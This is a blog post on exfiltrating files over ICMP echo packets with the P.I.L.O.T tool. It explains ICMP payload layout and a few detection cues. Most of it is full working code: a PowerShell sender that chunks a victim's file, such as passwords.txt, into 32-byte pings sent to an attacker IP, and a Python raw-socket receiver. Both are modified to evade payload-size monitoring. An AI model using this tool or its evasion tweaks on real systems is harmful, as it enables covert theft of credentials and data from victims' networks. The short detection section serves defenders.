ICMP Ping Data Exfiltration

DISCLAIMER: Using these tools and methods against hosts that you do not have explicit permission to test is illegal. You are responsible for any damage you may cause by using these tools and methods.

Sam Rothlisberger
8 min readApr 8, 2024

I found this cool tool created by Dahvid Schloss called P.I.L.O.T aka Ping-based Information Lookup and Outbound Transfer. It’s not a ground breaking or new method in any regards, however, it is a data exfiltration vector that analysts need to be aware of.

It’s been awhile since I looked at networking headers so I used this as an opportunity to refresh my understanding, break down how the request/reply works within the structure of the ICMP packet, and find any ways to make it better. His GitHub breaks down the operation of both the sender (P.I.L.O.T) and receiver (ATC) scripts very well. Basically, you import the script into the PowerShell session as Administrator and run the following command, specifying the IP of your receiver and file on the victim that you want to exfiltrate.

run-pilot -targetIP 192.168.10.10 -filePath .\sweetsweetcreds.xls

You can also specify a 1000ms delay which would look more normal due to the speed at which ping can operate and would set off some alarms at the SOC.

Understanding the Packet Headers

  • IPv4 Header: The minimum size is 20 bytes (0–19), assuming no options are included.
  • ICMP Header: The size is 8 bytes (0–7), which is typical for ICMP headers.

Understanding the Data Payload

So above we can see we need to take into account the space for the IPv4 and ICMP Header which are 28 bytes together. 65535 bytes — 28 bytes = 65507 bytes which we COULD use for data transfer in our Data Payload layer although it would be very alarming and the MTU would probably make it impossible. Luckily, we don’t need to do that.

Dahvid mentions “By default, Microsoft puts the alphabet in the packet, so at a minimum, there are 64 bytes”. The size mentioned (64 bytes) refers to the data payload bytes plus the IP/ICMP header bytes. Don’t forget there is still an ethernet header that could be 14 bytes or larger depending on VLAN tags which encapsulates the packet. However, we’re only interested in the content of the ICMP message and the immediate encapsulation (the IP packet) because these contain the information necessary for the diagnostic tasks ICMP is used for.

So we can say 28 bytes is (typically) sent in the packet headers (IPv4 + ICMPv4) and 32 bytes is sent in the data payload for a total of 60 bytes, not 64 bytes. Regardless, we only care about the 32 byte payload because that’s what we control. The content he’s referencing here in the payload is ASCII or UTF-8 encoded characters where each letter in the alphabet requires 1 byte, so it would take 26 bytes total. But where’s the other 6 bytes coming from for the data payload? Microsoft basically puts more of the alphabet in there and may not use all of it. Using Wireshark to look at the data payload for a normal ping, we see the following:

The output above is hexadecimal encoded. If you decode it, we get abcdefghijklmnopqrstuvwabcdefghi which is 32 characters hence our 32 bytes in the Data Payload. This is the vulnerability. This is where we can put chunked data from a file in each ping instead of the Microsoft default alphabet to exfiltrate whatever we want undetected at the packet level (for now).

Testing PILOT

So I tested this out with a simple passwords.txt file. The ATC is listening for packets:

We send the file to the ATC from the victim:

The ATC receives the packets and puts them back into passwords.txt on the attacker:

Looking at Wireshark from this exchange, the first packet decodes to ‘FileName: passwords.txt FileType: .txt TotalChunks: 2’ in a 64 byte data payload. The following two packets data payloads are 32 bytes each and contain the contents of passwords.txt.

Detection

These parts of the script below are what can be possibly be detected by monitoring tools specifically the fileInfo string and response size in the Data Payload field.

$fileInfo = "FileName: $fileName`nFileType: $fileType`nTotalChunks: $totalChunks"
$paddingSize = 64 - [System.Text.Encoding]::ASCII.GetByteCount($fileInfo)
--------------------------CUT---------------------------------
# Send the first packet
Write-Host -NoNewline "Sending file information... "
$response = $icmpPacket.Send($targetIP, 1000, [System.Text.Encoding]::ASCII.GetBytes($firstPacket))
  1. The fileInfo string content

Ensure that a monitoring tool can verify that the Data Payload hexadecimal bytes resemble the letters of the alphabet (abcdefghi…) and not anything else (including anything encrypted).

2. First packet (response) Data Payload 64 byte size

The first packet data payload size should be 32 bytes, not 64 bytes for a normal ping. The only thing we have to worry about here is the 32 byte payload consistency. The IPV4 header bytes + ICMP header bytes can change depending on if a victim is at home vs enterprise environment or using ICMPv6 vs ICMPv4, but we’re assuming we can start at byte 28 for data intake on the receiver end.

So I made a change to the PILOT.ps1 and ATC.py scripts to send/receive one part of the fileInfo script for the first three packets in 32 byte chucks instead of the first one being 64 bytes so it looks more like a normal ping if only packet size is being monitored.

  • Packet 1: ‘passwords.txt’
  • Packet 2: ‘.txt’
  • Packet 3: ‘2’

Testing the New Scripts

Run-Pilot -targetIP “[IP]” -filePath “passwords.txt” -chunksize 32 -delay 1000
import socket
import os
def listen_for_data():
# Create a raw socket to listen for ICMP packets
icmp = socket.getprotobyname('icmp')
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)

print("Listening for incoming ICMP packets…")
file_data = b''
file_name = ''
file_extension = ''
total_chunks = 0
received_chunks = -3 # Start counting from -3 to account for metadata packets
try:
while True:
packet, addr = sock.recvfrom(1024)
# Assume data starts at byte 28 for simplicity
data = packet[28:]
if received_chunks == -3:
# First packet with file name
file_name = data.decode('ascii').strip('\x00')
print(f"Received file name: {file_name}")
elif received_chunks == -2:
# Second packet with file extension
file_extension = data.decode('ascii').strip('\x00')
print(f"Received file extension: {file_extension}")
elif received_chunks == -1:
# Third packet with total chunks
total_chunks_str = data.decode('ascii').strip('\x00')
total_chunks = int(total_chunks_str)
print(f"Received total chunks: {total_chunks}")
else:
# Subsequent packets with file data
file_data += data
print(f"Received chunk {received_chunks + 1} of {total_chunks}")

received_chunks += 1

# Break when all chunks are received
if received_chunks >= total_chunks:
break
finally:
sock.close()

full_file_name = file_name
return full_file_name, file_data
def save_file(filename, data):
with open(filename, 'wb') as f:
f.write(data)
print(f"File {filename} saved successfully.")
if __name__ == '__main__':
filename, data = listen_for_data()
save_file(filename, data)
Add-Type -AssemblyName System.Net
Add-Type -AssemblyName System.Net.NetworkInformation

# Function to read file in 32 byte chunks and pad data
function Read-FileInChunksAndPad {
param (
[string]$FilePath,
[int]$ChunkSize = 32
)

try {
$Chunks = @()
$FileStream = [System.IO.File]::OpenRead($FilePath)
$Buffer = New-Object byte[] $ChunkSize
while ($FileStream.Read($Buffer, 0, $ChunkSize) -gt 0) {
# Pad the chunk if it's less than 32 bytes
if ($Buffer.Length -lt $ChunkSize) {
$Buffer = $Buffer + [System.Text.Encoding]::ASCII.GetBytes(([char]::ToString([char]::MinValue) * ($ChunkSize - $Buffer.Length)))
}
$Chunks += , $Buffer.Clone() # Clone buffer to avoid overwriting
}
$FileStream.Close()
return $Chunks
}
catch [System.IO.FileNotFoundException] {
Write-Host "Error: File '$FilePath' not found."
exit 1
}
catch {
Write-Host "Error reading file: $_"
exit 1
}
}

Function Send-PaddedPacket {
param(
[string]$targetIP,
[byte[]]$data,
[int]$delay = 0
)

$icmpPacket = New-Object System.Net.NetworkInformation.Ping
$response = $icmpPacket.Send($targetIP, 1000, $data)

if ($response.Status -eq "Success") {
Write-Host "Packet sent successfully"
} else {
Write-Host "[!] Failed - Aborting Transfer"
exit 1
}

Start-Sleep -Milliseconds $delay
}

Function Run-Pilot {
param(
[string]$targetIP = "127.0.0.1",
[string]$filePath,
[int]$chunksize = 32,
[int]$delay = 0
)

$chunks = Read-FileInChunksAndPad -FilePath $filePath

# Metadata packets
$fileName = [System.IO.Path]::GetFileName($filePath)
$fileType = [System.IO.Path]::GetExtension($filePath)
$totalChunks = $chunks.Count
$totalChunksStr = $totalChunks.ToString()

# Ensure metadata strings are padded to 32 bytes
$fileNamePacket = [System.Text.Encoding]::ASCII.GetBytes($fileName.PadRight(32, [char]0))
$fileTypePacket = [System.Text.Encoding]::ASCII.GetBytes($fileType.PadRight(32, [char]0))
$totalChunksPacket = [System.Text.Encoding]::ASCII.GetBytes($totalChunksStr.PadRight(32, [char]0))

# Send metadata packets
Send-PaddedPacket -targetIP $targetIP -data $fileNamePacket -delay $delay
Send-PaddedPacket -targetIP $targetIP -data $fileTypePacket -delay $delay
Send-PaddedPacket -targetIP $targetIP -data $totalChunksPacket -delay $delay

# Send file data chunks
foreach ($chunk in $chunks) {
Send-PaddedPacket -targetIP $targetIP -data $chunk -delay $delay
}
}

I learned alot from just tweaking with this alittle bit. I’m sure there’s other ways to detect it, let me know. There’s also probably a way to make this more adaptive to the start byte for data instead of always using 28 which won’t always be the case. I hope you enjoyed the post, thanks Dahvid for making me and others aware of this method.

--

--